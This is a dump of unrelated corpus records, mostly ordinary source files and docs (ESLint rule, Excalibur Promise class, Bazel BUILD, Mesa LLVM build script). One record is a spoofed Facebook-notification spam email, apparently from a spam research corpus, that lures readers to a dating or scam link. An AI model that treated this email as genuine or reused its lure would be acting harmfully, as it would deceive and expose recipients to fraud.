DateString+\".getMonth()\", LocalDate.month, DateCase.getMonth() );\n new TestCase( SECTION, DateString+\".getDate()\", LocalDate.date, DateCase.getDate() );\n new TestCase( SECTION, DateString+\".getDay()\", LocalDate.day, DateCase.getDay() );\n new TestCase( SECTION, DateString+\".getHours()\", LocalDate.hours, DateCase.getHours() );\n new TestCase( SECTION, DateString+\".getMinutes()\", LocalDate.minutes, DateCase.getMinutes() );\n new TestCase( SECTION, DateString+\".getSeconds()\", LocalDate.seconds, DateCase.getSeconds() );\n new TestCase( SECTION, DateString+\".getMilliseconds()\", LocalDate.ms, DateCase.getMilliseconds() );\n\n DateCase.toString = Object.prototype.toString;\n\n new TestCase( SECTION,\n\t\tDateString+\".toString=Object.prototype.toString;\"+DateString+\".toString()\",\n\t\t\"[object Date]\",\n\t\tDateCase.toString() );\n}\nfunction MyDate() {\n this.year = 0;\n this.month = 0;\n this.date = 0;\n this.hours = 0;\n this.minutes = 0;\n this.seconds = 0;\n this.ms = 0;\n}\nfunction LocalDateFromTime(t) {\n t = LocalTime(t);\n return ( MyDateFromTime(t) );\n}\nfunction UTCDateFromTime(t) {\n return ( MyDateFromTime(t) );\n}\nfunction MyDateFromTime( t ) {\n var d = new MyDate();\n d.year = YearFromTime(t);\n d.month = MonthFromTime(t);\n d.date = DateFromTime(t);\n d.hours = HourFromTime(t);\n d.minutes = MinFromTime(t);\n d.seconds = SecFromTime(t);\n d.ms = msFromTime(t);\n d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );\n d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );\n d.day = WeekDay( d.value );\n return (d);\n}\n"} {"text": "\n Equalizer asynchronous fetcher Example\n\nThe example shows how to create a shared per-GPU context and use it to\nasynchronours textures loads in a parallel thread.\n\nThe main idea is to create a shared FBO window for each eq::Pipe.\n"} {"text": "X-Account-Key: account4\nX-UIDL: GmailId12887c8093a3f156\nX-Mozilla-Status: 0001\nX-Mozilla-Status2: 00000000\nX-Mozilla-Keys: \nDelivered-To: hibody@csmining.org\nReceived: by 10.100.109.11 with SMTP id h11cs94247anc;\n Tue, 11 May 2010 07:32:34 -0700 (PDT)\nReceived: by 10.204.132.194 with SMTP id c2mr1043386bkt.167.1273588353496;\n Tue, 11 May 2010 07:32:33 -0700 (PDT)\nReturn-Path: <unbecyvojr@03589.com>\nReceived: from 03589.com ([194.210.49.16])\n by mx.google.com with SMTP id u11si637148bkz.48.2010.05.11.07.32.21;\n Tue, 11 May 2010 07:32:33 -0700 (PDT)\nReceived-SPF: neutral (google.com: 194.210.49.16 is neither permitted nor denied by best guess record for domain of unbecyvojr@03589.com) client-ip=194.210.49.16;\nAuthentication-Results: mx.google.com; spf=neutral (google.com: 194.210.49.16 is neither permitted nor denied by best guess record for domain of unbecyvojr@03589.com) smtp.mail=unbecyvojr@03589.com\nDate: Tue, 11 May 2010 18:09:57 +0400\nTo: <bantal@csmining.org>\nFrom: FuckBook <notification+temkew@facebookmail.com>\nReply-to: noreply <noreply@facebookmail.com>\nSubject: Candy Sent You A Message\nMessage-ID: <e1955f2acc3814ceeiqcobywac6d4c3@www.facebook.com>\nX-Priority: 3\nX-Mailer: ZuckMail [version 1.00]\nX-Facebook-Notify: msg; from=uzeyffyw; t=rotxcsm; mailid=utagmmu\nErrors-To: notification+yehozeae@facebookmail.com\nX-FACEBOOK-PRIORITY: 0\nMIME-Version: 1.0\nContent-Transfer-Encoding: quoted-printable\nContent-Type: text/plain; charset=\"UTF-8\"\n\nCandy sent you a message.\n\n\n\n\"I tried to message you on msn but didnt get a response\"\ni just posted some new pics.. Check it out i have changed a bit since i seen you last \n\nhttp://www.singlesnet-28.com\n\n\n\n\n\n\n\n\n\nTo reply to this message, follow the link below:\nhttp://www.facebook.com/n/?inbox/readmessage.php\n\n___\nThis message was intended for bantal@csmining.org. Want to control which emails you receive from Facebook? Go to:\nhttp://www.facebook.com/editaccount.php\nFacebook's offices are located at 1601 S. California Ave., Palo Alto, CA 94304.\n\n\n</\n\n\n\n\n\n\n\n\n\n"} {"text": "---\ntitle: ArgMax Layer\n---\n\n# ArgMax Layer\n\n* Layer type: `ArgMax`\n* [Doxygen Documentation](http://caffe.berkeleyvision.org/doxygen/classcaffe_1_1ArgMaxLayer.html)\n* Header: [`./include/caffe/layers/argmax_layer.hpp`](https://github.com/BVLC/caffe/blob/master/include/caffe/layers/argmax_layer.hpp)\n* CPU implementation: [`./src/caffe/layers/argmax_layer.cpp`](https://github.com/BVLC/caffe/blob/master/src/caffe/layers/argmax_layer.cpp)\n* CUDA GPU implementation: [`./src/caffe/layers/argmax_layer.cu`](https://github.com/BVLC/caffe/blob/master/src/caffe/layers/argmax_layer.cu)\n\n## Parameters\n* Parameters (`ArgMaxParameter argmax_param`)\n* From [`./src/caffe/proto/caffe.proto`](https://github.com/BVLC/caffe/blob/master/src/caffe/proto/caffe.proto)):\n\n{% highlight Protobuf %}\n{% include proto/ArgMaxParameter.txt %}\n{% endhighlight %}"} {"text": "package io.quarkus.infinispan.client.runtime.graal;\n\nimport org.infinispan.client.hotrod.configuration.StatisticsConfiguration;\n\nimport com.oracle.svm.core.annotate.Substitute;\nimport com.oracle.svm.core.annotate.TargetClass;\n\n/**\n * JMX is always disabled in native mode\n * \n * @author William Burns\n */\n@TargetClass(StatisticsConfiguration.class)\npublic final class SubstituteStatisticsConfiguration {\n @Substitute\n public boolean jmxEnabled() {\n return false;\n }\n}\n"} {"text": "/**\n * @fileoverview Rule to forbid control characters from regular expressions.\n * @author Nicholas C. Zakas\n */\n\n\"use strict\";\n\nconst RegExpValidator = require(\"regexpp\").RegExpValidator;\nconst collector = new (class {\n constructor() {\n this.ecmaVersion = 2018;\n this._source = \"\";\n this._controlChars = [];\n this._validator = new RegExpValidator(this);\n }\n\n onPatternEnter() {\n this._controlChars = [];\n }\n\n onCharacter(start, end, cp) {\n if (cp >= 0x00 &&\n cp <= 0x1F &&\n (\n this._source.codePointAt(start) === cp ||\n this._source.slice(start, end).startsWith(\"\\\\x\") ||\n this._source.slice(start, end).startsWith(\"\\\\u\")\n )\n ) {\n this._controlChars.push(`\\\\x${`0${cp.toString(16)}`.slice(-2)}`);\n }\n }\n\n collectControlChars(regexpStr) {\n try {\n this._source = regexpStr;\n this._validator.validatePattern(regexpStr); // Call onCharacter hook\n } catch {\n\n // Ignore syntax errors in RegExp.\n }\n return this._controlChars;\n }\n})();\n\n//------------------------------------------------------------------------------\n// Rule Definition\n//------------------------------------------------------------------------------\n\nmodule.exports = {\n meta: {\n type: \"problem\",\n\n docs: {\n description: \"disallow control characters in regular expressions\",\n category: \"Possible Errors\",\n recommended: true,\n url: \"https://eslint.org/docs/rules/no-control-regex\"\n },\n\n schema: [],\n\n messages: {\n unexpected: \"Unexpected control character(s) in regular expression: {{controlChars}}.\"\n }\n },\n\n create(context) {\n\n /**\n * Get the regex expression\n * @param {ASTNode} node node to evaluate\n * @returns {RegExp|null} Regex if found else null\n * @private\n */\n function getRegExpPattern(node) {\n if (node.regex) {\n return node.regex.pattern;\n }\n if (typeof node.value === \"string\" &&\n (node.parent.type === \"NewExpression\" || node.parent.type === \"CallExpression\") &&\n node.parent.callee.type === \"Identifier\" &&\n node.parent.callee.name === \"RegExp\" &&\n node.parent.arguments[0] === node\n ) {\n return node.value;\n }\n\n return null;\n }\n\n return {\n Literal(node) {\n const pattern = getRegExpPattern(node);\n\n if (pattern) {\n const controlCharacters = collector.collectControlChars(pattern);\n\n if (controlCharacters.length > 0) {\n context.report({\n node,\n messageId: \"unexpected\",\n data: {\n controlChars: controlCharacters.join(\", \")\n }\n });\n }\n }\n }\n };\n\n }\n};\n"} {"text": "// Promises/A+ Spec http://promises-aplus.github.io/promises-spec/\n\n/**\n * Valid states for a promise to be in\n */\nexport enum PromiseState {\n Resolved,\n Rejected,\n Pending\n}\n\nexport interface PromiseLike<T> {\n then(successCallback?: (value?: T) => any, rejectCallback?: (value?: T) => any): PromiseLike<T>;\n error(rejectCallback?: (value?: any) => any): PromiseLike<T>;\n\n //Cannot define static methods on interfaces\n //wrap<T>(value?: T): IPromise<T>;\n\n resolve(value?: T): PromiseLike<T>;\n reject(value?: any): PromiseLike<T>;\n\n state(): PromiseState;\n}\n\n/**\n * Promises are used to do asynchronous work and they are useful for\n * creating a chain of actions. In Excalibur they are used for loading,\n * sounds, animation, actions, and more.\n *\n * [[include:Promises.md]]\n */\nexport class Promise<T> implements PromiseLike<T> {\n private _state: PromiseState = PromiseState.Pending;\n private _value: T;\n private _successCallbacks: { (value?: T): any }[] = [];\n private _rejectCallback: (value?: any) => any = () => {\n return;\n };\n private _errorCallback: (value?: any) => any;\n\n /**\n * Create and resolve a Promise with an optional value\n * @param value An optional value to wrap in a resolved promise\n */\n public static resolve<T>(value?: T): Promise<T> {\n const promise = new Promise<T>().resolve(value);\n\n return promise;\n }\n\n /**\n * Create and reject a Promise with an optional value\n * @param value An optional value to wrap in a rejected promise\n */\n public static reject<T>(value?: T): Promise<T> {\n const promise = new Promise<T>().reject(value);\n\n return promise;\n }\n\n /**\n * Returns a new promise that resolves when all the promises passed to it resolve, or rejects\n * when at least 1 promise rejects.\n */\n public static join<T>(promises: Promise<T>[]): Promise<T>;\n\n /**\n * Returns a new promise that resolves when all the promises passed to it resolve, or rejects\n * when at least 1 promise rejects.\n */\n public static join<T>(...promises: Promise<T>[]): Promise<T>;\n\n public static join<T>() {\n let promises: Promise<T>[] = [];\n\n if (arguments.length > 0 && !Array.isArray(arguments[0])) {\n for (let _i = 0; _i < arguments.length; _i++) {\n promises[_i - 0] = arguments[_i];\n }\n } else if (arguments.length === 1 && Array.isArray(arguments[0])) {\n promises = arguments[0];\n }\n\n const joinedPromise = new Promise<T>();\n if (!promises || !promises.length) {\n return joinedPromise.resolve();\n }\n\n const total = promises.length;\n let successes = 0;\n let rejects = 0;\n const errors: any = [];\n\n promises.forEach((p) => {\n p.then(\n () => {\n successes += 1;\n if (successes === total) {\n joinedPromise.resolve();\n } else if (successes + rejects + errors.length === total) {\n joinedPromise.reject(errors);\n }\n },\n () => {\n rejects += 1;\n if (successes + rejects + errors.length === total) {\n joinedPromise.reject(errors);\n }\n }\n ).error((e) => {\n errors.push(e);\n if (errors.length + successes + rejects === total) {\n joinedPromise.reject(errors);\n }\n });\n });\n\n return joinedPromise;\n }\n\n /**\n * Chain success and reject callbacks after the promise is resolved\n * @param successCallback Call on resolution of promise\n * @param rejectCallback Call on rejection of promise\n */\n public then(successCallback?: (value?: T) => any, rejectCallback?: (value?: any) => any) {\n if (successCallback) {\n this._successCallbacks.push(successCallback);\n\n // If the promise is already resolved call immediately\n if (this.state() === PromiseState.Resolved) {\n try {\n successCallback.call(this, this._value);\n } catch (e) {\n this._handleError(e);\n }\n }\n }\n if (rejectCallback) {\n this._rejectCallback = rejectCallback;\n\n // If the promise is already rejected call immediately\n if (this.state() === PromiseState.Rejected) {\n try {\n rejectCallback.call(this, this._value);\n } catch (e) {\n this._handleError(e);\n }\n }\n }\n\n return this;\n }\n\n /**\n * Add an error callback to the promise\n * @param errorCallback Call if there was an error in a callback\n */\n public error(errorCallback?: (value?: any) => any) {\n if (errorCallback) {\n this._errorCallback = errorCallback;\n }\n return this;\n }\n\n /**\n * Resolve the promise and pass an option value to the success callbacks\n * @param value Value to pass to the success callbacks\n */\n public resolve(value?: T): Promise<T> {\n if (this._state === PromiseState.Pending) {\n this._value = value;\n try {\n this._state = PromiseState.Resolved;\n this._successCallbacks.forEach((cb) => {\n cb.call(this, this._value);\n });\n } catch (e) {\n this._handleError(e);\n }\n } else {\n throw new Error('Cannot resolve a promise that is not in a pending state!');\n }\n return this;\n }\n\n /**\n * Reject the promise and pass an option value to the reject callbacks\n * @param value Value to pass to the reject callbacks\n */\n public reject(value?: any) {\n if (this._state === PromiseState.Pending) {\n this._value = value;\n try {\n this._state = PromiseState.Rejected;\n this._rejectCallback.call(this, this._value);\n } catch (e) {\n this._handleError(e);\n }\n } else {\n throw new Error('Cannot reject a promise that is not in a pending state!');\n }\n return this;\n }\n\n /**\n * Inspect the current state of a promise\n */\n public state(): PromiseState {\n return this._state;\n }\n\n private _handleError(e: any) {\n if (this._errorCallback) {\n this._errorCallback.call(this, e);\n } else {\n // rethrow error\n throw e;\n }\n }\n}\n"} {"text": "zmq_msg_size(3)\n===============\n\n\nNAME\n----\nzmq_msg_size - retrieve message content size in bytes\n\n\nSYNOPSIS\n--------\n*size_t zmq_msg_size (zmq_msg_t '*msg');*\n\n\nDESCRIPTION\n-----------\nThe _zmq_msg_size()_ function shall return the size in bytes of the content of\nthe message object referenced by 'msg'.\n\nCAUTION: Never access 'zmq_msg_t' members directly, instead always use the\n_zmq_msg_ family of functions.\n\n\nRETURN VALUE\n------------\nUpon successful completion, _zmq_msg_size()_ shall return the size of the\nmessage content in bytes.\n\n\nERRORS\n------\nNo errors are defined.\n\n\nSEE ALSO\n--------\nlinkzmq:zmq_msg_data[3]\nlinkzmq:zmq_msg_init[3]\nlinkzmq:zmq_msg_init_size[3]\nlinkzmq:zmq_msg_init_data[3]\nlinkzmq:zmq_msg_close[3]\nlinkzmq:zmq[7]\n\n\nAUTHORS\n-------\nThis page was written by the 0MQ community. To make a change please\nread the 0MQ Contribution Policy at <http://www.zeromq.org/docs:contributing>.\n"} {"text": "package com.java110.api.bmo.repair.impl;\n\nimport com.alibaba.fastjson.JSONObject;\nimport com.java110.api.bmo.ApiBaseBMO;\nimport com.java110.api.bmo.repair.IRepairTypeUserBMO;\nimport com.java110.core.context.DataFlowContext;\nimport com.java110.intf.community.IRepairTypeUserInnerServiceSMO;\nimport com.java110.po.repair.RepairTypeUserPo;\nimport com.java110.utils.constant.BusinessTypeConstant;\nimport com.java110.utils.util.BeanConvertUtil;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\n\n@Service(\"repairTypeUserBMOImpl\")\npublic class RepairTypeUserBMOImpl extends ApiBaseBMO implements IRepairTypeUserBMO {\n\n @Autowired\n private IRepairTypeUserInnerServiceSMO repairTypeUserInnerServiceSMOImpl;\n\n /**\n * 添加小区信息\n *\n * @param paramInJson 接口调用放传入入参\n * @param dataFlowContext 数据上下文\n * @return 订单服务能够接受的报文\n */\n public void addRepairTypeUser(JSONObject paramInJson, DataFlowContext dataFlowContext) {\n\n paramInJson.put(\"typeUserId\", \"-1\");\n RepairTypeUserPo repairTypeUserPo = BeanConvertUtil.covertBean(paramInJson, RepairTypeUserPo.class);\n super.insert(dataFlowContext, repairTypeUserPo, BusinessTypeConstant.BUSINESS_TYPE_SAVE_REPAIR_TYPE_USER);\n }\n\n\n /**\n * 添加活动信息\n *\n * @param paramInJson 接口调用放传入入参\n * @param dataFlowContext 数据上下文\n * @return 订单服务能够接受的报文\n */\n public void updateRepairTypeUser(JSONObject paramInJson, DataFlowContext dataFlowContext) {\n RepairTypeUserPo repairTypeUserPo = BeanConvertUtil.covertBean(paramInJson, RepairTypeUserPo.class);\n super.update(dataFlowContext, repairTypeUserPo, BusinessTypeConstant.BUSINESS_TYPE_UPDATE_REPAIR_TYPE_USER);\n }\n\n\n\n /**\n * 添加小区信息\n *\n * @param paramInJson 接口调用放传入入参\n * @param dataFlowContext 数据上下文\n * @return 订单服务能够接受的报文\n */\n public void deleteRepairTypeUser(JSONObject paramInJson, DataFlowContext dataFlowContext) {\n\n RepairTypeUserPo repairTypeUserPo = BeanConvertUtil.covertBean(paramInJson, RepairTypeUserPo.class);\n super.update(dataFlowContext, repairTypeUserPo, BusinessTypeConstant.BUSINESS_TYPE_DELETE_REPAIR_TYPE_USER);\n }\n\n}\n"} {"text": "load(\"@build_bazel_rules_nodejs//:index.bzl\", \"pkg_web\")\nload(\"@npm//@bazel/protractor:index.bzl\", \"protractor_web_test_suite\")\nload(\"@npm//@bazel/rollup:index.bzl\", \"rollup_bundle\")\nload(\"@npm//@bazel/terser:index.bzl\", \"terser_minified\")\nload(\"@npm//@bazel/typescript:index.bzl\", \"ts_devserver\", \"ts_library\", \"ts_project\")\nload(\"@npm//html-insert-assets:index.bzl\", \"html_insert_assets\")\nload(\"@npm//http-server:index.bzl\", \"http_server\")\n\npackage(default_visibility = [\"//visibility:public\"])\n\nts_library(\n name = \"app\",\n srcs = [\"app.ts\"],\n)\n\nts_devserver(\n name = \"devserver\",\n # We'll collect all the devmode JS sources from these TypeScript libraries\n deps = [\":app\"],\n)\n\nrollup_bundle(\n name = \"bundle\",\n entry_point = \":app.ts\",\n deps = [\":app\"],\n)\n\nterser_minified(\n name = \"bundle.min\",\n src = \":bundle\",\n)\n\n_ASSETS = [\n \":bundle.min\",\n \"//styles:base.css\",\n \"//styles:test.css\",\n]\n\n# Copy index.html to the output folder, adding <script> and <link> tags\nhtml_insert_assets(\n name = \"inject_tags\",\n outs = [\"index.html\"],\n args = [\n \"--out=$@\",\n \"--html=$(execpath :index.tmpl.html)\",\n \"--roots=$(RULEDIR)\",\n \"--assets\",\n ] + [\"$(execpaths %s)\" % a for a in _ASSETS],\n data = [\":index.tmpl.html\"] + _ASSETS,\n)\n\npkg_web(\n name = \"package\",\n srcs = [\":inject_tags\"] + _ASSETS,\n)\n\nhttp_server(\n name = \"prodserver\",\n data = [\":package\"],\n templated_args = [\"package\"],\n)\n\n# This could also be `ts_library` but we mix them here to illustrate\nts_project(\n name = \"tsconfig-test\",\n testonly = 1,\n srcs = [\"app.e2e-spec.ts\"],\n extends = [\"tsconfig.json\"],\n deps = [\n \"@npm//@types/jasmine\",\n \"@npm//@types/node\",\n \"@npm//protractor\",\n ],\n)\n\nprotractor_web_test_suite(\n name = \"prodserver_test\",\n srcs = [\"app.e2e-spec.js\"],\n on_prepare = \":protractor.on-prepare.js\",\n server = \"//:prodserver\",\n)\n\nprotractor_web_test_suite(\n name = \"devserver_test\",\n srcs = [\"app.e2e-spec.js\"],\n on_prepare = \":protractor.on-prepare.js\",\n server = \"//:devserver\",\n)\n\n# Just a dummy test so that we have a test target for //... on certain bazelci platforms with bazel_integration_test\nsh_test(\n name = \"dummy_test\",\n srcs = [\"dummy_test.sh\"],\n)\n"} {"text": "/*\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * The ASF licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage org.apache.ignite.internal.processors.cache;\n\nimport java.util.Arrays;\nimport java.util.LinkedHashMap;\nimport org.apache.ignite.cache.QueryEntity;\nimport org.apache.ignite.cache.query.annotations.QuerySqlField;\nimport org.apache.ignite.configuration.CacheConfiguration;\nimport org.apache.ignite.testframework.junits.common.GridCommonAbstractTest;\nimport org.junit.Test;\n\n/**\n *\n */\npublic class IgniteCacheDuplicateEntityConfigurationSelfTest extends GridCommonAbstractTest {\n /** {@inheritDoc} */\n @Override protected void beforeTestsStarted() throws Exception {\n startGrid(0);\n }\n\n /**\n * @throws Exception If failed.\n */\n @Test\n public void testClassDuplicatesQueryEntity() throws Exception {\n String cacheName = \"duplicate\";\n\n CacheConfiguration ccfg = new CacheConfiguration(cacheName);\n\n ccfg.setIndexedTypes(Integer.class, Person.class);\n\n QueryEntity entity = new QueryEntity();\n\n entity.setKeyType(Integer.class.getName());\n entity.setValueType(Person.class.getName());\n\n LinkedHashMap<String, String> fields = new LinkedHashMap<>();\n\n fields.put(\"name\", String.class.getName());\n\n entity.setFields(fields);\n\n ccfg.setQueryEntities(Arrays.asList(entity));\n\n try {\n ignite(0).getOrCreateCache(ccfg);\n }\n finally {\n ignite(0).destroyCache(cacheName);\n }\n }\n\n /**\n * @throws Exception If failed.\n */\n @Test\n public void testClassDuplicatesQueryReverse() throws Exception {\n String cacheName = \"duplicate\";\n\n CacheConfiguration ccfg = new CacheConfiguration(cacheName);\n\n QueryEntity entity = new QueryEntity();\n\n entity.setKeyType(Integer.class.getName());\n entity.setValueType(Person.class.getName());\n\n LinkedHashMap<String, String> fields = new LinkedHashMap<>();\n\n fields.put(\"name\", String.class.getName());\n\n entity.setFields(fields);\n\n ccfg.setQueryEntities(Arrays.asList(entity));\n\n ccfg.setIndexedTypes(Integer.class, Person.class);\n\n try {\n ignite(0).getOrCreateCache(ccfg);\n }\n finally {\n ignite(0).destroyCache(cacheName);\n }\n }\n\n private static class Person {\n @QuerySqlField\n private String name;\n }\n}\n"} {"text": "fileFormatVersion: 2\nguid: ab0281620a104dd4ca96a6bf906f8011\ntimeCreated: 1447334821\nlicenseType: Pro\nShaderImporter:\n defaultTextures: []\n userData: \n assetBundleName: \n assetBundleVariant: \n"} {"text": "#\n# Internal file for GetGitRevisionDescription.cmake\n#\n# Requires CMake 2.6 or newer (uses the 'function' command)\n#\n# Original Author:\n# 2009-2010 Ryan Pavlik <rpavlik@iastate.edu> <abiryan@ryand.net>\n# http://academic.cleardefinition.com\n# Iowa State University HCI Graduate Program/VRAC\n#\n# Copyright Iowa State University 2009-2010.\n# Distributed under the Boost Software License, Version 1.0.\n# (See accompanying file LICENSE_1_0.txt or copy at\n# http://www.boost.org/LICENSE_1_0.txt)\n\nset(HEAD_HASH)\n\nfile(READ \"@HEAD_FILE@\" HEAD_CONTENTS LIMIT 1024)\n\nstring(STRIP \"${HEAD_CONTENTS}\" HEAD_CONTENTS)\nif(HEAD_CONTENTS MATCHES \"ref\")\n\t# named branch\n\tstring(REPLACE \"ref: \" \"\" HEAD_REF \"${HEAD_CONTENTS}\")\n\tif(EXISTS \"@GIT_DIR@/${HEAD_REF}\")\n\t\tconfigure_file(\"@GIT_DIR@/${HEAD_REF}\" \"@GIT_DATA@/head-ref\" COPYONLY)\n\telse()\n\t\tconfigure_file(\"@GIT_DIR@/packed-refs\" \"@GIT_DATA@/packed-refs\" COPYONLY)\n\t\tfile(READ \"@GIT_DATA@/packed-refs\" PACKED_REFS)\n\t\tif(${PACKED_REFS} MATCHES \"([0-9a-z]*) ${HEAD_REF}\")\n\t\t\tset(HEAD_HASH \"${CMAKE_MATCH_1}\")\n\t\tendif()\n\tendif()\nelse()\n\t# detached HEAD\n\tconfigure_file(\"@GIT_DIR@/HEAD\" \"@GIT_DATA@/head-ref\" COPYONLY)\nendif()\n\nif(NOT HEAD_HASH)\n\tfile(READ \"@GIT_DATA@/head-ref\" HEAD_HASH LIMIT 1024)\n\tstring(STRIP \"${HEAD_HASH}\" HEAD_HASH)\nendif()\n"} {"text": "## @file\n# Copyright (c) 2020, PMheart. All rights reserved.\n# SPDX-License-Identifier: BSD-3-Clause\n##\n\nPROJECT = HelloWorld\nPRODUCT = $(PROJECT)$(SUFFIX)\nOBJS = $(PROJECT).o\ninclude ../../User/Makefile\n"} {"text": "@setlocal\r\n\r\n@rem Check lf LLVM binaries are available\r\n@set llvmbinaries=0\r\n@IF EXIST %devroot%\\llvm\\%abi%\\bin IF EXIST %devroot%\\llvm\\%abi%\\include IF EXIST %devroot%\\llvm\\%abi%\\lib set llvmbinaries=1\r\n\r\n@rem Check lf LLVM sources are available or obtainable\r\n@set llvmsources=1\r\n@if NOT EXIST %devroot%\\llvm\\cmake if NOT EXIST %devroot%\\llvm-project IF %gitstate EQU 0 set llvmsources=0\r\n\r\n@rem Verify if LLVM can be used.\r\n@IF %llvmbinaries% EQU 1 IF %llvmsources% EQU 0 echo LLVM source code not found but LLVM is already built. Skipping LLVM build.\r\n@IF %llvmbinaries% EQU 1 IF %llvmsources% EQU 0 GOTO skipllvm\r\n@IF %cmakestate%==0 IF %llvmbinaries% EQU 1 echo CMake not found but LLVM is already built. Skipping LLVM build.\r\n@IF %cmakestate%==0 IF %llvmbinaries% EQU 1 GOTO skipllvm\r\n@IF %cmakestate%==0 echo CMake is required for LLVM build. If you want to build Mesa3D anyway it will be without llvmpipe and swr drivers and high performance JIT won't be available for other drivers and libraries.\r\n@IF %cmakestate%==0 GOTO skipllvm\r\n@IF %llvmbinaries% EQU 0 IF %llvmsources% EQU 0 echo WARNING: Both LLVM source code and binaries not found. If you want to build Mesa3D anyway it will be without llvmpipe and swr drivers and high performance JIT won't be available for other drivers and libraries.\r\n@IF %llvmbinaries% EQU 0 IF %llvmsources% EQU 0 GOTO skipllvm\r\n\r\n@rem Ask to do LLVM build\r\n@set /p buildllvm=Begin LLVM build. Only needs to run once for each ABI and version. Proceed (y/n):\r\n@echo.\r\n\r\n@rem LLVM source is found or is obtainable, binaries not found and LLVM build is refused.\r\n@IF %llvmsources% EQU 1 IF %llvmbinaries% EQU 0 if /I NOT \"%buildllvm%\"==\"y\" echo WARNING: Not building LLVM. If you want to build Mesa3D anyway it will be without swr and llvmpipe drivers and high performance JIT won't be available for other drivers and libraries.\r\n@if /I NOT \"%buildllvm%\"==\"y\" GOTO skipllvm\r\n\r\n@rem Getting LLVM monorepo if LLVM source is missing\r\n@if NOT EXIST %devroot%\\llvm\\cmake if NOT EXIST %devroot%\\llvm-project (\r\n@echo Getting LLVM source code...\r\n@git clone https://github.com/llvm/llvm-project.git --branch=llvmorg-10.0.1 --depth=1 %devroot%\\llvm-project\r\n@echo.\r\n)\r\n\r\n@rem Apply is_trivially_copyable patch\r\n@if NOT EXIST %devroot%\\llvm-project cd %devroot%\r\n@if NOT EXIST %devroot%\\llvm-project set msyspatchdir=%devroot%\r\n@if EXIST %devroot%\\llvm-project cd %devroot%\\llvm-project\r\n@if EXIST %devroot%\\llvm-project set msyspatchdir=%devroot%\\llvm-project\r\n@IF %disableootpatch%==0 call %devroot%\\%projectname%\\buildscript\\modules\\applypatch.cmd llvm-vs-16_7\r\n@IF %disableootpatch%==1 if EXIST %msysloc%\\usr\\bin\\patch.exe echo Reverting out of tree patches...\r\n@IF %disableootpatch%==1 IF EXIST %msysloc%\\usr\\bin\\patch.exe %msysloc%\\usr\\bin\\bash --login -c \"cd $(/usr/bin/cygpath -m ${msyspatchdir});patch -Np1 --no-backup-if-mismatch -R -r - -i $(/usr/bin/cygpath -m ${devroot})/${projectname}/patches/llvm-vs-16_7.patch\"\r\n@IF %disableootpatch%==1 if EXIST %msysloc%\\usr\\bin\\patch.exe echo.\r\n\r\n@rem Always clean build\r\n@if NOT EXIST %devroot%\\llvm-project cd %devroot%\\llvm\r\n@if EXIST %devroot%\\llvm-project cd %devroot%\\llvm-project\r\n@echo Cleanning LLVM build. Please wait...\r\n@echo.\r\n@if EXIST %devroot%\\llvm\\%abi% RD /S /Q %devroot%\\llvm\\%abi%\r\n@if EXIST buildsys-%abi% RD /S /Q buildsys-%abi%\r\n@md buildsys-%abi%\r\n@cd buildsys-%abi%\r\n\r\n@rem Ask for Ninja use if exists. Load it if opted for it.\r\n@set ninja=n\r\n@if NOT %ninjastate%==0 set /p ninja=Use Ninja build system instead of MsBuild (y/n); less storage device strain, faster and more efficient build:\r\n@if NOT %ninjastate%==0 echo.\r\n@if /I \"%ninja%\"==\"y\" if %ninjastate%==1 set PATH=%devroot%\\ninja\\;%PATH%\r\n\r\n@rem Load cmake into build environment.\r\n@if %cmakestate%==1 set PATH=%devroot%\\cmake\\bin\\;%PATH%\r\n\r\n@rem Construct build configuration command.\r\n@set buildconf=cmake -G\r\n@if /I NOT \"%ninja%\"==\"y\" set buildconf=%buildconf% \"Visual Studio %toolset%\"\r\n@if %abi%==x86 if /I NOT \"%ninja%\"==\"y\" set buildconf=%buildconf% -A Win32\r\n@if %abi%==x64 if /I NOT \"%ninja%\"==\"y\" set buildconf=%buildconf% -A x64\r\n@if /I NOT \"%ninja%\"==\"y\" IF /I %PROCESSOR_ARCHITECTURE%==AMD64 set buildconf=%buildconf% -Thost=x64\r\n@if /I \"%ninja%\"==\"y\" set buildconf=%buildconf% \"Ninja\"\r\n@set buildconf=%buildconf% -DLLVM_TARGETS_TO_BUILD=X86 -DCMAKE_BUILD_TYPE=Release -DLLVM_USE_CRT_RELEASE=MT -DLLVM_ENABLE_RTTI=1 -DLLVM_ENABLE_TERMINFO=OFF -DLLVM_INCLUDE_TESTS=OFF -DLLVM_INCLUDE_EXAMPLES=OFF -DLLVM_INCLUDE_BENCHMARKS=OFF -DCMAKE_INSTALL_PREFIX=../../llvm/%abi%\r\n@if EXIST %devroot%\\llvm-project set buildconf=%buildconf% -DLLVM_ENABLE_PROJECTS=\"\"\r\n@set buildconf=%buildconf% ..\r\n@if EXIST %devroot%\\llvm-project set buildconf=%buildconf%/llvm\r\n\r\n@rem Load Visual Studio environment. Can only be loaded in the background when using MsBuild.\r\n@if /I \"%ninja%\"==\"y\" call %vsenv% %vsabi%\r\n@if /I \"%ninja%\"==\"y\" if NOT EXIST %devroot%\\llvm-project cd %devroot%\\llvm\\buildsys-%abi%\r\n@if /I \"%ninja%\"==\"y\" if EXIST %devroot%\\llvm-project cd %devroot%\\llvm-project\\buildsys-%abi%\r\n@if /I \"%ninja%\"==\"y\" echo.\r\n\r\n@rem Configure and execute the build with the configuration made above.\r\n@echo LLVM build configuration command^: %buildconf%\r\n@echo.\r\n@%buildconf%\r\n@echo.\r\n@pause\r\n@echo.\r\n@if /I NOT \"%ninja%\"==\"y\" cmake --build . -j %throttle% --config Release --target install\r\n@if /I \"%ninja%\"==\"y\" call %devroot%\\%projectname%\\buildscript\\modules\\ninjallvmbuild.cmd\r\n\r\n:skipllvm\r\n@echo.\r\n@rem Reset environment after LLVM build.\r\n@endlocal\r\n@cd %devroot%"} {"text": "//\n// ========================================================================\n// Copyright (c) 1995-2020 Mort Bay Consulting Pty 